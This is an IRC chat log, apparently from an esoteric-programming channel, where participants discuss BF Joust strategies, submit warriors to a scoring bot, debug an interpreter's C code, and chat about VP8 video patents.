18:24:00 <elliott> I like how Gregor went from absolutely terrible player to one of the top after implementing egojsout :P
18:24:06 <Gregor> elliott: The whole reason the philips work is speed, they can't take time to detect.
18:24:08 <elliott> nescience: Oh, it might. But IIRC a few won.
18:24:30 <elliott> Gregor: Detect it really stupidly. Like with one single [ on only one cell at one point in decrementing.
18:24:39 <elliott> I dunno.
18:24:45 -!- cheater00 has joined.
18:24:59 -!- p_q has quit (Quit: Leaving).
18:25:16 <HackEgo> 5000 4035 0.1 0.0 3640 392 ? SN 18:45 0:00 ../../../slox/slox 25 ../report ../egojoust ../cache Deewiant_maglev.bfjoust Deewiant_monorail.bfjoust Deewiant_sloth.bfjoust Deewiant_steamroller.bfjoust Gregor_high_fructose_corn_philip.bfjoust Gregor_julius_freezer.bfjoust Gregor_lead_acetate_philip.bfjoust
18:25:23 <ais523_> quintopia: wow, defend9 gets quite a way through there
18:25:29 <ais523_> despite the misdetection
18:26:04 <quintopia> it's not a misdetection
18:26:06 <quintopia> is it?
18:26:19 <quintopia> it looks like it figured out my cycle length perfectly
18:26:23 <ais523_> no, it's a correct detection
18:26:25 <ais523_> and it wins
18:26:29 <ais523_> I misread the results to start with
18:26:36 <ais523_> is that a three-cycle clear?
18:27:20 <ais523_> yep, indeed
18:28:18 <elliott> BF Joust is a pretty surprising success
18:28:28 <ais523_> why is it surprising?
18:28:34 <elliott> I remember when I was telling ais523_ that I didn't think defend programs were possible :P
18:28:35 <nescience> ah, after examining jsout more
18:28:38 <quintopia> s/surprising/SMASHING/
18:28:46 <nescience> it is one line per cycle after all yes?
18:28:48 <elliott> ais523_: because it seems like it should be quite easy to write a near perfect program on first glance
18:28:53 <elliott> because "oh, you can't ..."
18:28:59 <elliott> but then all sorts of strategies have arisen
18:29:05 <elliott> like: detecting cycle count
18:29:11 <elliott> that doesn't seem possible at first glance at all
18:29:17 <ais523_> defend9's the only program that really does that
18:29:18 <quintopia> it isn't very reliable though
18:29:19 <ais523_> and in quite a naive way
18:29:31 <ais523_> I think I can make a more reliable version, but not easily on this computer because it runs Windows
18:29:46 <quintopia> i think there may be a more reliable way that involves measuring on multiple decoys...
18:29:46 <EgoBot> Score for ais523__double_tripwire_avoider: 47.4
18:29:47 <EgoBot> Score for ais523__dta2: 33.5
18:30:06 <quintopia> what's the difference
18:30:08 * quintopia can't read up
18:30:38 <nescience> I have a strategy in mind that I don't think has showed up yet ;) but it will be a great deal of effort to pull off and possibly not very maintainable
18:30:52 <ais523_> are you going to tell people what it is, or keep it secret?
18:31:06 <nescience> I want to write it first ;)
18:31:15 <nescience> unless you want to write it for me lol
18:31:26 <nescience> it wouldn't be fun to give it away :P
18:32:07 <nescience> anyway it's kind of a different twist on a defender which is what made me want to mention it :P
18:32:26 <nescience> there is a surprising amount of variety in that strategy after all
18:32:28 <ais523_> ooh
18:32:45 <ais523_> the problem with defenders is that counterdefence is so easy to write
18:33:04 <quintopia> nescience: does it involve exploiting the ()* expansion system?
18:33:06 <ais523_> so they'll never dominate the hill, just maybe end up filling a third of it or so
18:33:29 <elliott> ais523_: but what about a defender that detected counterdefenders, and turned into an attacker?
18:33:45 <elliott> that's why defend13 should be called hybrid1, because of possibilities like that :P
18:33:58 <ais523_> it's still defence by my definitions
18:34:02 <quintopia> then someone would write a countercounterdefenderattackerdefender and keep winning
18:34:04 <ais523_> as it waits for the opponent before it does anything
18:34:09 <elliott> ais523_: yes, but it's sort of like a transition
18:34:14 <elliott> from pure defence
18:34:19 <elliott> quintopia: that's not a real argument
18:34:25 <elliott> you could reply to any strategy like that
18:34:25 <nescience> yeah, but if you can make counterdefence untenable against other programs.. then you benefit
18:34:32 <elliott> of /course/ any program gets counter-programs
18:34:35 <elliott> that's the game
18:34:41 <ais523_> elliott: I'm not certain, even, say, defend7 attacks
18:34:49 <ais523_> just it keeps the opponent locked at the same time
18:34:51 <ais523_> it has to win somehow, after all
18:34:52 <quintopia> elliott: the point was that counterdefense is easy to write, and i was extending that argument
18:34:54 <nescience> ah well I suppose I don't care if you write it, though I won't feel any ownership if it succeeds :P
18:35:00 <ais523_> "pure defender" only really applies to shudder-style programs, IMO
18:35:10 <ais523_> nescience: I'm unlikely to be able to write it now
18:35:11 <ais523_> you go for it yourself
18:35:15 <nescience> quintopia, no.. that was just to make a tripwire tripper easie
18:35:22 <elliott> quintopia: counterdefence is easy to write, counterhybrid isn't
18:35:42 <nescience> r
18:35:42 <nescience> anyway this builds on the idea about multiple cell timing I described to you before ais
18:35:43 <elliott> because if you try and counterdefence, it'll turn into an attacker
18:35:52 <nescience> and also trapwire which didn't succeed
18:35:54 <quintopia> elliott: defense13 is a hybrid. it gets pretty solidly trounced by a rusher that waits forever.
18:36:00 <nescience> because I forgot how loops work
18:36:07 <elliott> quintopia: it's not a true hybrid
18:36:11 <elliott> as ais523_ said, it waits for the opponent
18:36:22 <nescience> ya, I will probably try but I feel like a dick talking about it like a secret :P
18:36:23 <elliott> it's like a... protohybrid
18:36:30 <quintopia> you know a way of syncing with an opponent that doesn't involve waiting?
18:36:45 <elliott> nescience: talk about what like a secret?
18:36:50 <nescience> the idea is to zero my flag for one cell when an attacker would encounter it with a loop
18:37:00 <elliott> quintopia: the point is that a hybrid program would start off by setting up defences /and working out what the opponent is doing/
18:37:03 <nescience> causing the attacker to fall through
18:37:09 <elliott> rather than only trying to work that out once the opponent starts coming
18:37:26 <nescience> by varying the decoys I should be able to spread out the timings of programs on the hill
18:37:39 <nescience> so that I can tackle each one separately
18:37:59 <quintopia> i suggested that actually, elliott. building a big decoy while waiting on your reverse tripwires to get hit. i forget what ais523_ said about that...
18:38:05 <nescience> and of course there are only so many looping combinations you can really use
18:38:28 <nescience> then, fixed cycle attackers can be tackled in a similar way
18:38:50 <ais523_> nescience: oh, it needs to be tuned to each individual opponent and tape length
18:38:50 <ais523_> I hate programs like that
18:38:51 <nescience> once you see a zero you can predict specific attack timings
18:38:51 <ais523_> also, it's defeated outright by check-twice programs
18:38:53 <ais523_> that won't leave a cell without verifying that it's 0 for two cycles in a row
18:38:57 <quintopia> elliott: but figuring out what an opponent is going to do while it is still building its own decoys is impossible, so i'm really not sure what you're trying to say
18:39:08 <nescience> the idea is not to prevent leaving
18:39:15 <nescience> it's to prevent entering
18:39:33 <ais523_> elliott: your idea up there is going to be partially used by defend9b or defend15 or whatever I call it
18:39:53 <elliott> quintopia: I didn't say I knew how to do it effectively
18:39:56 <nescience> and you don't really have to tune it to the hill, you will wind up tuning it to "loop once, loop twice, 2 cycle, 3 cycle" all in the same program
18:39:59 <elliott> who says you can't detect that an opponent's building decoys
18:39:59 <ais523_> in that I can detect certain types of enemy by checking to see if my decoys are still intact just before going into wait mode
18:40:01 <elliott> and wait for it to finish?
18:40:04 <elliott> while building your own defences
18:40:12 <nescience> fixed cycle attack programs are less certain of course
18:40:19 <ais523_> elliott: it's very hard to detect decoys reliably without running off the flag
18:40:27 <ais523_> *running off the tape
18:40:36 <nescience> but will have to fall in a certain range of timings as well
18:40:38 <ais523_> if you could detect decoys reliably, why not just skip them and sink the flag?
18:40:56 <nescience> things like wiggle would probably beat it
18:41:08 <nescience> where the attack varies per cell
18:41:39 <elliott> ais523_: very true, but I'm just thinking heuristics
18:41:50 <elliott> ais523_: I'm not going to say something is impossible after saying defence programs were way back :)
18:41:59 <nescience> but generally, you can expect a fixed overhead and then a loop from looping attackers, and varying the decoys precisely can allow you the spread to tweak the flag at the right moment
18:42:11 -!- asiekierka has joined.
18:42:39 <ais523_> nescience: the issue is: if you use a large cell value you can't distinguish the fixed overhead from the loop; if you use a small value, the overhead normally ends up no longer fixed
18:42:55 <ais523_> although, hmm, what if you used two different large decoys?
18:42:58 <nescience> you don't have to know what it is
18:43:01 <ais523_> and measured the number of cycles between them?
18:43:20 <nescience> you just have to cause the fall through for every possibility
18:43:24 <ais523_> that might be more reliable for a defend9-style program than what it currently does
18:43:46 <quintopia> nescience: so you want the opponent to arrive at your flag just as it goes to zero, thereby not ever trying to decrement it?
18:43:50 <nescience> and you use decoy size to force different attackers to take a longer spread of time so you can control the cell timing
18:44:02 <nescience> basically yes
18:44:21 <ais523_> that's trivially defeatable via a second [] after your zero-detection
18:44:24 <nescience> and for fixed attackers you can use a +- to save yourself
18:44:31 <ais523_> not to mention, some programs use an unguarded offset clear
18:45:04 <ais523_> it's relatively easy to write an attack program that's theoretically incapable of running off the end of the tape without an arbitrarily complex shudder of your choice
18:45:06 <nescience> you're right, not much I can do about [[
18:45:23 <quintopia> nescience: and wireless_frownie actually uses [[
18:45:30 <nescience> but then it'd be slower and be defeated by other programs ;)
18:45:45 <quintopia> (actually, it does [[[[ :P)
18:46:03 <quintopia> but yes, it gets defeated by very fast rushers, like maglev
18:46:41 <elliott> hmm, my end of program thing takes up a cycle so it doesn't work at the cycle limit, but i think all such cases would end in draws anyway
18:47:15 <nescience> [[[[ but it has instructions inbetween
18:47:22 <nescience> which can be timed against
18:47:36 <nescience> besides if the first one fails
18:47:40 <nescience> it skips it all
18:47:53 <elliott> [[[[[[[[[[[[[[[[[[[[[[
18:47:54 <nescience> what am I talking about I already considered [
18:47:57 <nescience> lettin you guys confuse me
18:48:15 <nescience> again none of them run if it NEVER ENTERS THE FIRST
18:48:43 <nescience> and that's the whole point of the idea
18:49:06 <elliott> $ ./lance '[+]' '.'
18:49:06 <elliott> 1 : Oi -- your program has an unmatched X; you should feel bad.
18:49:09 <elliott> Oh man, an unmatched X!
18:50:39 <ais523_> defend9 vs. Nyarlathotep is one of the most hilarious matchups ever to watch in a debugger
18:50:59 <ais523_> and incredibly close, because it depends mostly on effectively random factors
18:51:16 <ais523_> nescience: [][]
18:51:17 <nescience> wanna see ;)
18:51:25 <nescience> gotta get off til later though
18:52:42 <nescience> ais: there you go, that's what I was thinking about
18:52:42 <nescience> anyway it still forces opponents into a possibly less effective strategy
18:52:42 <nescience> I gotta save batteries
18:52:42 <nescience> forgot my laptop! :(
18:52:42 -!- nescience has quit (Remote host closed the connection).
18:54:08 <quintopia> ais523_: i don't think he could effectively time against a -[
18:54:19 <quintopia> but yeah, [][] is the smarter route
18:54:55 <elliott> Gregor: lance is ALMOST ENTIRELY LANCED-UP.
18:59:27 <quintopia> we're still waiting
19:02:23 <elliott> quintopia: shaddap
19:04:04 <Gregor> Hey everybody: Just added a cheato statement to egojsout :P
19:04:18 <Gregor> ``(put JavaScript here!)*0
19:04:19 <HackEgo> No output.
19:04:22 <Gregor> lawl
19:04:42 <elliott> Gregor: That might actually be useful as a macro type language...but not JS.
19:05:00 <Gregor> elliott: It's mainly useful as ``(print("I just hit a point I'm interested in"))*0
19:05:31 <elliott> Gregor: `test(n)*((++---)*n) ... `test(3)%
19:05:37 <elliott> YOU KNOW YOU WANT TO IMPLEMENT IT
19:05:51 <Gregor> It's not really intended for cheating, it's intended for debugging :P
19:06:23 * quintopia starts putting in statements that break the interpreter
19:06:37 <elliott> Gregor: That wouldn't be cheating.
19:06:45 <elliott> It'd just expand to (++---)*3 :P
19:06:59 <elliott> Admittedly this stuff belongs in a proper program, not the implementation.
19:07:09 <Gregor> quintopia: It doesn't matter if it breaks the interpreter, that hurts only yourself.
19:07:20 <Gregor> quintopia: Doing well in egojsout is irrelevant, doing well on the hill is important.
19:07:29 <quintopia> Gregor: duh
19:07:40 <quintopia> it's like he thinks i'm an idiot or something
19:08:56 <quintopia> i think i'm going to put in some code that submits a file to be processed by webmidi in the inner loop
19:09:07 <Gregor> lawl
19:09:54 <quintopia> your queue will be a year long
19:10:09 -!- asiekierka has quit (Ping timeout: 240 seconds).
19:10:11 <Gregor> I also made it show every PC that's hit by an instruction instead of just the first one.
19:10:38 <quintopia> PC?
19:10:47 <elliott> program castration
19:11:02 <quintopia> i'm not sure what it means to hit a PC by an instruction
19:11:50 <pikhq> MPEG LA is actually trying to set up a VP8 patent pool now.
19:11:58 <Gregor> I made that unclear I guess :P
19:12:07 <Gregor> Every PC that's hit within a cycle.
19:12:11 * pikhq strongly hopes Google goes in and demands a royalty-free licensing scheme.
19:12:19 <elliott> Gregor: Isn't it always just one? Or are we talking abotu repeats.
19:12:20 <elliott> *about
19:12:49 <Gregor> elliott: (){} are all different instructions and so different PCs for me *shrugs*
19:12:50 <pikhq> (note: Google actually has patents on VP8.)
19:12:57 <Gregor> So it'll be a number of (){}s, then a "real" instruction.
19:13:03 <quintopia> Gregor: so if both players decrement the same cell, it shows it on two different lines?
19:13:06 <Gregor> Before it was just the first of any of those that you hit.
19:13:20 <Gregor> quintopia: Just go look at it X_X
19:13:24 <quintopia> kk
19:14:09 <quintopia> Deewiant: maglev is p cool
19:14:11 <Gregor> quintopia: Or have you never clicked on a line in the debugging output and seen that it gives you the programs at that point?
19:14:51 <pikhq> And if this damned patent pool actually gets set up, well, I strongly hope the x264 guys give Vorbis some help.
19:15:16 <quintopia> Gregor: no i hadn't, and i suppose you're referring to the highlight of the )?
19:15:28 <Gregor> quintopia: Yes
19:16:08 <quintopia> Gregor: you should make it decrement the numbers associated with the () so you can easily see which iteration its in
19:16:25 <Gregor> quintopia: That was my original plan, but that data is lost and not easily recoverable by the time I'm generating those.
19:16:37 <pikhq> Oh, *hah*.
19:16:40 <quintopia> oh
19:16:47 <Gregor> pikhq: ?
19:17:02 <elliott> pikhq: give *Vorbis*?
19:17:05 <pikhq> Google's licensing scheme on the VP8 patents forbids you from enforcing your own patents on VP8.
19:17:07 <elliott> Surely you mean Xiph.org.
19:17:16 <elliott> Vorbis is an audio codec.
19:17:21 <pikhq> elliott: Theora, not Vorbis!
19:17:28 <pikhq> elliott: Theora needs the help!
19:17:30 <elliott> Right.
19:17:38 <elliott> I have a feeling Xiph.Org is quite thoroughly dormant.
19:17:42 <Gregor> Damn it SodaStream, where's my CO2!
19:17:48 <pikhq> Actually, no, xiph.org is quite active.
19:17:57 <elliott> pikhq: Well it was dormant for quite a few years.
19:18:09 <pikhq> They're currently working on a Vorbis/Speex replacement.
19:18:10 <elliott> Gregor: Just extract it from the air to undo global warming with soda
19:18:16 <elliott> BEST IDEA?
19:18:19 <Gregor> YESSSSSSSSSSSSSSSSSSSS
19:18:20 <elliott> pikhq: More a Speex replacement no?
19:18:28 <pikhq> (it was originally just a Speex replacement, but it also outperforms Vorbis.)
19:18:33 <quintopia> elliott: too bad he'll probably end up burping it back out again :/
19:18:35 <elliott> What on earth is sodastream
19:18:35 <Gregor> elliott: I'll just make a diesel-powered machine to do that!
19:18:39 <elliott> Some soda maker thing?
19:18:45 <elliott> Gregor: POWER IT WITH CO2
19:18:56 <Gregor> elliott: They make at-home soda machines.
19:19:02 <pikhq> Also, Theora has been improving.
19:19:13 <elliott> <Gregor> I decided doing it manually was too cool so now I'm using a MACHINE.
19:19:17 <elliott> You: sux
19:19:24 -!- hagb4rd has quit (Ping timeout: 240 seconds).
19:19:28 <Gregor> Doing it manually was too expensive and ineffectual.
19:19:36 <pikhq> Last I checked they were working on adding psy-opts. Which is what makes x264 so fucking good.
19:19:54 <Gregor> pikhq: Then they'll be working on getting sued 8-D
19:20:00 <elliott> psychic optimisations: THE BEST
19:20:06 <elliott> <Gregor> Doing it manually was too expensive and ineffectual.
19:20:12 <elliott> Your face is too expensive and ineffectual.
19:20:12 <elliott> God.
19:20:15 <elliott> Next it'll be all
19:20:16 <pikhq> Gregor: Actually, psychological optimisations aren't patented, as far as we know.
19:20:18 <elliott> <Gregor> Hey guys
19:20:21 <elliott> <Gregor> I bought a PVC instrument maker
19:20:27 <Gregor> X-D
19:20:27 <elliott> <Gregor> You press a button and out comes a PVC instrument
19:20:30 <elliott> <Gregor> Hey guys
19:20:34 <pikhq> Gregor: I think x264's currently one of *two* encoders currently doing it. At all.
19:20:36 <Gregor> All this machine makes is carbonated water :P
19:20:37 <elliott> <Gregor> I bought a programming language maker
19:20:43 <elliott> <Gregor> Doing it manually was too expensive and ineffectual
19:20:51 <elliott> <Gregor> Hey guys, I bought a music box
19:21:01 <elliott> <Gregor> Here's Opus 14: http://codu.org/musicbox.ogg
19:21:23 <Gregor> elliott: Nah, I'll just adapt the programming language maker to work with AlgoRhythms.
19:21:35 <pikhq> But, it seems that it will be impossible for any entity in a VP8 patent pool to *use* VP8.
19:21:43 <elliott> GREGOR, PROFESSIONAL BUTTON PRESSER.
19:21:58 <elliott> Gregor's next paper will be automatically generated by a program that thinks of interesting things to say about JavaScript.
19:21:59 <ais523_> pikhq: they're probably just trying to scare other people into not using it
19:22:05 <pikhq> ais523_: Almost certainly.
19:22:15 <elliott> That he wrote by pressing a button on a machine that creates programs that think of interesting things to say about JavaScript and make papers about them.
19:22:19 <pikhq> ais523_: I'm still considering the case where it actually *happens*, though.
19:22:35 <pikhq> ais523_: Even though it *seems* that they won't be able to get any legit patents in there.
19:22:55 <pikhq> IIRC VP8 was carefully designed to not violate any h.264 patents.
19:23:23 <pikhq> And I'd at least hope Google would have confirmed that before buying the company.
19:25:29 <quintopia> elliott: that last one sounds useless, since it really only ever has to generate the one program...
19:26:31 <elliott> quintopia: Gregor made it with a machine that generates a program based on the buttons you press.
19:26:33 <elliott> erm
19:26:38 <elliott> quintopia: Gregor made it with a machine that generates a machine that generates one specific program, based on the buttons you press.
19:26:50 <ais523_> pikhq: I've heard silly things like VP8 using a weird value for a constant because all the more sensible ones had been patented
19:26:56 <ais523_> and was thinking that that didn't make any sense at all
19:26:56 <elliott> $ ./lance '(++++)' '.'
19:26:57 <elliott> Sieve: (.=(.=(.=(.=(.=(.=(.=(.=(.=(.=(.=(.=(.=(.=(.=(.=(.=(.=(.=(.=(.=
19:26:57 <elliott> Kettle: (.=(.=(.=(.=(.=(.=(.=(.=(.=(.=(.=(.=(.=(.=(.=(.=(.=(.=(.=(.=(.=
19:27:00 <elliott> Dude... it's +, not . ...
19:27:17 <ais523_> sieve calling the kettle black?
19:28:24 -!- Mannerisky has quit (Ping timeout: 264 seconds).
19:28:31 <elliott> :D
19:28:34 <elliott> hmm
19:28:46 <elliott> *p++ = (struct foo){a, b, c} is valid C99 right?
19:28:48 <elliott> that does what I want?
19:28:52 <elliott> for "struct foo *p"
19:29:13 <ais523_> elliott: I think so; you might have to expand it to *p++ = (struct foo){.first=a, .second=b, .third=c}
19:29:22 <ais523_> which is likely more readable anyway
19:29:27 <pikhq> ais523_: Patent laws in the US are just weird.
19:29:29 <elliott> ais523_: errr, why would you have to expand it?
19:29:30 <ais523_> but I think the short version works too
19:29:47 <pikhq> ais523_: Also, feel free to engage in revelry: none of this patent noise applies to you.
19:30:39 <ais523_> you never know, there have been repeated attempts to enforce software patents in the EU despite them being specifically banned in law
19:31:04 <pikhq> ...
19:31:19 <elliott> !c struct foo{int a,b,c} bar[256]; struct foo *p = bar; *p++ = (struct foo){1,2,3}; printf("%d %d %d\n",(p-1)->a,(p-1)->b,(p-1)->c);
19:31:23 <pikhq> Please do tell me your legal system doesn't have "most money wins".
19:31:30 <elliott> every legal system has "most money wins"
19:31:37 <EgoBot> 1 2 3
19:31:40 <elliott> hmm
19:32:04 <pikhq> elliott: And then you get charged more than you will ever make in your next three lifetimes?
19:32:26 <ais523_> pikhq: less so in the UK than in the US, but it still happens to some extent
19:32:34 <ais523_> the UK legal system is a lot less bullshit-tolerant than the US one is
19:32:57 <pikhq> "Let's kill all the lawyers" — Shakespeare.
19:33:01 <pikhq> Ah, the wisdom of the Bard.
19:33:08 <ais523_> you know about the cases you get in the US where the RIAA or whoever sue a huge number of people in the hope they'll settle, then drop the cases on whoever goes to court?
19:33:16 <ais523_> someone tried that in the UK, the judge wouldn't let them drop the case
19:33:22 <ais523_> and has decided to go through with it regardless
19:33:39 <ais523_> presumably to be able to sanction them for trying something so ridiculous
19:34:45 <ais523_> hmm, note in the README of a kernel keylogger submission: "I advise you not to try to run this code"
19:34:52 <ais523_> together with a screenshot of it crashing the kernel
19:34:57 <ais523_> I am not filled with confidence
19:35:13 <elliott> <pikhq> "Let's kill all the lawyers" — Shakespeare.
19:35:13 <elliott> <pikhq> Ah, the wisdom of the Bard.
19:35:15 <elliott> quote fail
19:35:49 <pikhq> elliott: Shaddup.
19:36:15 <ais523_> how is defend13 so much higher up the leaderboard than defend14, I wonder?
19:36:22 <ais523_> given how similar they are?
19:36:25 <elliott> Oh, looks like it being a statement actually in support of lawyers is a myth in itself
19:36:26 <elliott> WOOP WOOP
19:36:36 <elliott> ais523_: because we all tried to beat defend13
19:36:40 <elliott> and nobody cares about defend14 because it satrted lower
19:36:51 <ais523_> elliott: you have that backwards, possibly
19:36:55 <elliott> ais523_: ?
19:37:05 <ais523_> as in, defend13 is much higher than defend14
19:37:12 <ais523_> and used to be only marginally higher
19:37:23 <elliott> hmm, right
19:37:49 <ais523_> and they still have a similar win/loss record
19:38:01 <ais523_> also, I think antidefend13 just died
19:38:39 <elliott> question!
19:38:45 <elliott> for (int i = 0; i < n; i++) {
19:38:47 <elliott> lbl:
19:38:48 <elliott> ...
19:38:50 <elliott> goto lbl;
19:38:50 <elliott> }
19:38:56 <elliott> does i get incremented after the goto?
19:39:26 <ais523_> no, obviously
19:39:35 <ais523_> you're jumping backwards, not forwards round the forloop
19:39:46 <ais523_> you want "continue;" if you want the for loop header to run too
19:39:47 <elliott> ais523_: well, indeed
19:39:48 <Gregor> http://codu.org/tmp/death-2011-02-12-3.ogg Death ditty, try 3
19:39:52 <elliott> it's just it's behaving like it did get incremented
19:40:07 <quintopia> ais523_: i figured out a way to make wireless beat defend9 and wiggle3 with one change. let's see how it fairs with the rest of the hill...
19:40:18 <quintopia> !bfjoust wireless (>)*8+<-<(+)*18<(-)*19(<(-)*85<(+)*85)*2<(-)*17(>)*9([[[[-[++[(+)*9.[.-].[.++-------]]]]]]]>[[[[-[++[(+)*9.[-].[.++-------]]]]]]]>)*10[[[[-[++[(+)*9.[.-].[.++-------]]]]]]]
19:40:21 <elliott> Gregor: Too slow.
19:40:32 <Gregor> elliott: It's for a very mellow game.
19:40:38 <elliott> Gregor: Too tinkly, then :P
19:40:44 <ais523_> quintopia: what was the change?
19:40:49 <Gregor> elliott: lol
19:40:50 <EgoBot> Score for quintopia_wireless: 57.0
19:40:54 <elliott> Gregor: Get rid of the... bubbling tinkly part in the background.
19:40:55 <quintopia> \o/
19:40:55 <myndzi> |
19:40:55 <myndzi> /'\
19:40:56 <elliott> WOW I'M GOOD WITH WORDS
19:41:00 <elliott> 57? wow, congrats
19:41:08 <ais523_> also, that made it marginally worse
19:41:08 <quintopia> ais523_: it alternates cycle length :P
19:41:11 <ais523_> it was on 57.3 before
19:41:16 <quintopia> really
19:41:19 <quintopia> interesting
19:41:48 <quintopia> i think i'll leave it anyway :P
19:42:02 <ais523_> the difference is that it now loses to some of my defend programs on alternate tape lengths on one polarity
19:42:08 <ais523_> so it still beats them, but by not as much
19:42:41 <quintopia> ah
19:43:24 <ais523_> actually, that happens on both polarities vs. impomatic's chainmail
19:43:26 <quintopia> well the idea was to beat *all* defend programs on alternate tape lengths
19:47:42 <Gregor> Man, short sound effect tunes are TOUGH
19:48:23 <ais523_> !bfjoust dta2 (+)*20(++>)*4(-->[>(>[+[--[(-)*120[-][>]]]])*21])*23(>++[-])*2
19:48:35 <ais523_> tweaked to beat wireless, and similar programs
19:48:37 <EgoBot> Score for ais523__dta2: 45.9
19:48:38 <ais523_> let's see how that goes
19:49:05 <ais523_> oh, it doesn't beat wireless
19:49:06 <ais523_> let me see why
19:49:42 <ais523_> oh, duh
19:50:01 <ais523_> !bfjoust dta2 (+)*20(++>)*4(-->[>(>[+[--[(-)*120(.-)*16[>]]]])*21])*23(>++[-])*2
19:50:15 <EgoBot> Score for ais523__dta2: 29.7
19:50:33 <impomatic> !bfjoust charizard >(-)*6(>)*6(>[(>+[[-]])*29])*29[[-]+]
19:50:49 <EgoBot> Score for impomatic_charizard: 17.1
19:51:36 <ais523_> now it beats wireless, but loses to everything else
19:52:08 <ais523_> !bfjoust dta2 (+)*20(++>)*4(-->[>(>[+[--[(-)*120[-]>[>]]]])*21])*23(>++[-])*2
19:52:18 <ais523_> I think that's too slow to beat wireless
19:52:22 <EgoBot> Score for ais523__dta2: 30.3
19:52:42 <ais523_> yep
19:53:25 <ais523_> !bfjoust dta2 (+)*20(++>)*4(-->[>(>[+[--[(-)*120[-]>>>(>(-)*120[-])*10]]])*21])*23(>++[-])*2
19:53:31 <elliott> gah
19:53:34 <elliott> it parses right but doesn't execute right
19:53:36 <EgoBot> Score for ais523__dta2: 43.8
19:54:09 <elliott> ais523_: wrong nick wrong nick :(
19:54:17 <elliott> "!bfjoust dta2 <" and /nick ais523 :P
19:54:30 <ais523_> nope
19:54:52 <ais523_> !bfjoust dta2 (+)*20(++>)*4(-->[>(>[+[--[(-)*120[-]>>>>(>(-)*120[-])*10]]])*21])*23(>++[-])*2
19:55:01 <ais523_> OK, so now I'm just blatantly tuning it to beat wireless :)
19:55:09 <EgoBot> Score for ais523__dta2: 39.6
19:55:13 <ais523_> even though I hate that sort of tactic normally
19:55:20 <ais523_> it hurts it against other things too much, thoguh
19:55:22 <ais523_> *though
19:56:01 <elliott> ais523_: btw, you can kill other people's warriors by nicking to them... I killed one of yours to test... but I put it back :P
19:56:03 <elliott> </confession
19:56:12 <elliott> *</confession>
19:56:18 <ais523_> just as long as it wasn't defend7, I'm fine with that
19:56:39 <ais523_> (defend7 has a pretty ancient last-modified, I'd like to preserve that until it drops off the hill naturally)
19:57:37 <ais523_> !bfjoust dta2 <
19:57:50 <EgoBot> Score for ais523__dta2: 0.0
19:58:54 <elliott> ais523_: I think it was decoytuner
19:58:58 <elliott> some recent one, anyway
20:01:37 <ais523_> !bfjoust decoytuner3 (++>)*8(>[+++([-{[+.++]}>+<])%256])*21
20:01:56 <EgoBot> Score for ais523__decoytuner3: 17.7
20:02:03 <ais523_> !bfjoust decoytuner3 (++>)*8(>[+++([-{[+.++]}>-<])%256])*21
20:02:16 <EgoBot> Score for ais523__decoytuner3: 14.8
20:02:22 <ais523_> hmm
20:02:27 <ais523_> probably just too slow
20:02:35 <ais523_> !bfjoust decoytuner3 (++>)*8(>[+++([-{[+.++]}>+<])%256])*21
20:02:50 <EgoBot> Score for ais523__decoytuner3: 17.6
20:03:56 <quintopia> i'm impressed by the sticking power of patashu's program as well
20:04:29 <ais523_> yep, tactic works, it's just too slow, debugger confirms it
20:05:02 <elliott> !bfjoust
20:05:03 <EgoBot> Use: !bfjoust <program name> <program> . Scoreboard, programs, and a description of score calculation are at http://codu.org/eso/bfjoust/
20:06:05 <elliott> ais523_: do you think that repeats longer than the max cycle count are useful?
20:06:11 <elliott> I'm trying to think if you could ever have one that works
20:06:19 <elliott> maybe with %
20:06:19 <ais523_> elliott: only in order to mean "forever"
20:06:28 <elliott> ais523_: that works with max cycle
20:06:59 <quintopia> no elliott
20:07:06 <quintopia> cap repeats at max cycle all you want
20:07:13 <elliott> yeah :P
20:07:21 <elliott> i just don't want to change these "metarules" too much
20:07:25 <elliott> trying to get it right the first time
20:07:33 <elliott> note that mine still lets you do ((foo)*-1)*-1
20:07:35 <elliott> so there's no real limti
20:07:36 <elliott> *limit
20:08:35 <ais523_> repeat > max cycle is indistinguishable from repeat = max cycle
20:08:45 <ais523_> if you aren't repeating the null string, you run out of repeats
20:08:48 <ais523_> if you are, the whole thing collapses
20:08:56 <elliott> right
20:09:27 <elliott> $ time ./lance '(()*9999999999999999)*999999999999999999999999' '((-)*9999999999999999999999999999)*99999999999999999999999'
20:09:27 <elliott> [hang]
20:09:28 <elliott> ouch
20:09:35 <elliott> that's strange, it must hang during parsing
20:18:31 <fizzie> elliott: It could be worse; I get match.asm:176: warning: dword data exceeds bounds
20:18:48 <elliott> fizzie: haha
20:19:27 <elliott> ah, no, doesn't hang on parsing
20:19:27 <elliott> hmm
20:19:32 <fizzie> I think my thing actually hangs in the fact that ()*9999999999 consumes no ticks, so the cycle-counter doesn't halt it.
20:20:26 <elliott> 999999 is greater than 100000 right?
20:20:57 <fizzie> Yes, but the ()-looping doesn't cost any cycles.
20:21:34 <elliott> no no no i'm just checking
20:21:38 <elliott> because my code shouldn't be bugged like this
20:21:41 <Vorpal> <elliott> 999999 is greater than 100000 right? <- no.... Aren't you up to scratch on the current mathematics?
20:21:52 <elliott> right, i blame oerjan then
20:22:07 <elliott> if (c >= '0' && c <= '9') {
20:22:07 <elliott> into->arg = (into->arg * 10) + (c - '0');
20:22:07 <elliott> if (into->arg >= MAXCYCLES) break;
20:22:08 <elliott> SPOT
20:22:09 <elliott> THE
20:22:12 <elliott> BUG(GERY)
20:22:47 <Vorpal> elliott, there is no } matching the {
20:22:48 <Vorpal> that is a bug
20:22:51 <Vorpal> ;P
20:22:57 <elliott> wrong, the answer is that I need
20:22:59 <elliott> into->arg = MAXCYCLES;
20:23:00 <elliott> otherwise
20:23:05 <elliott> you can go one digit over
20:23:10 <Vorpal> elliott, == then
20:23:13 <Vorpal> that looks like C
20:23:17 <elliott> ...no
20:23:23 <elliott> that wouldn't fix it
20:23:25 <elliott> that would break it more
20:23:41 <Vorpal> elliott, oh you mean outside the conditions
20:23:45 <impomatic> !bfjoust firefly http://corewar.co.uk/2.txt
20:23:48 <elliott> it should be
20:23:56 <elliott> if (into->arg >= MAXCYCLES) { into->arg = MAXCYCLES; break; }
20:23:57 <elliott> otherwise e.g.
20:23:59 <elliott> say maxcycles is 10
20:24:00 <elliott> you can say
20:24:01 <elliott> 999
20:24:03 <elliott> erm
20:24:08 <elliott> you can say
20:24:09 <elliott> 99
20:24:10 <elliott> because
20:24:12 <elliott> 9 < 10
20:24:12 <FireFly> impomatic, you impersonator
20:24:16 <elliott> 99 >= 10, so we just break
20:24:18 <elliott> without resetting it
20:24:18 <EgoBot> Score for impomatic_firefly: 27.2
20:24:21 <elliott> *capping it
